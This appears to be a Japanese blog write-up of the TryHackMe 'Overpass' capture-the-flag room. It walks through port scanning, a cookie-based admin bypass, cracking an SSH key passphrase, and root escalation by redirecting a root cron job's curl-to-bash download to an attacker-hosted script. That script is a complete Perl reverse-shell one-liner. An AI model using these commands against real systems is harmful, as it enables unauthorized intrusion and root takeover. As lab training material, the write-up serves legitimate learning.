🌐

TryHackMe: [overpass] write up

2023/02/23に公開

ROOM[overpass]

room info

url: https://tryhackme.com/room/overpass
os: linux

0. 準備

export RIP=攻撃先のIPをenvに出しとく
export LIP=VPN内での自分のIPをenvに出しとく
export LPORT=reverse shell用のport

1. nmap

nmap -sC -sV -oA overpass -Pn $RIP

結果

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)

2. dirb

gobuster dir -u http://$RIP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
/aboutus              (Status: 301) [Size: 0] [--> aboutus/]
/admin                (Status: 301) [Size: 42] [--> /admin/]
/css                  (Status: 301) [Size: 0] [--> css/]
/downloads            (Status: 301) [Size: 0] [--> downloads/]
/img                  (Status: 301) [Size: 0] [--> img/]
/index.html           (Status: 301) [Size: 0] [--> ./]

特に無し

3. walkthrough

login.jsがあるのを見つける
中身見たら、pasword合ってたらSessionTokenに何かしらの値が設定されるみたい
試しに適当な文字列を入れてadminページアクセスしたらなんかRSA鍵が表示される

firefoxでcookieいじるときには以下を使用
https://addons.mozilla.org/ja/firefox/addon/cookie-editor/

パスフレーズが設定されてたので解除

# id_rsa という名前で上記のRSA鍵を保存しておく
ssh2john id_rsa > hoge
john --wordlist=/usr/share/wordlists/rockyou.txt hoge

#=> james13 (id_rsa)

3. ユーザーシェル

ssh $RIP -l james -i id_rsa

4. Privileges Escalation

find / -user root -perm /4000 2>/dev/null

ではめぼしいもの見つからず

LinEnum.shを実行するとcronにcurlしてきたshをsudoで実行してる感じを発見

# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

buildscript.sh を探して直接編集しようと思ったけど無理だった

/etc/hosts の書き換えが可能だったので overpass.thm を向き先を$LIPに変更

/etc/hosts
xx.xx.xx.xx  overpass.thm

適当な攻撃マシン側のディレクトリで

mkdir -p downloads/src/
touch downloads/src/buildscript.sh
downloads/src/buildscript.sh
perl -e 'use Socket;$i="ここにLIP";$p=ここにLPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

httpなので80ポートで待つ
mkdir -p downloads/src/ を実行したdirectoryでこのコマンドを実行する

python -m http.server 80

別のterminlを開いてreverse shellが来るのを待つ

nv -lvnp $LPORT

ちょっと待ってればroot shellが来て終わり。

Discussion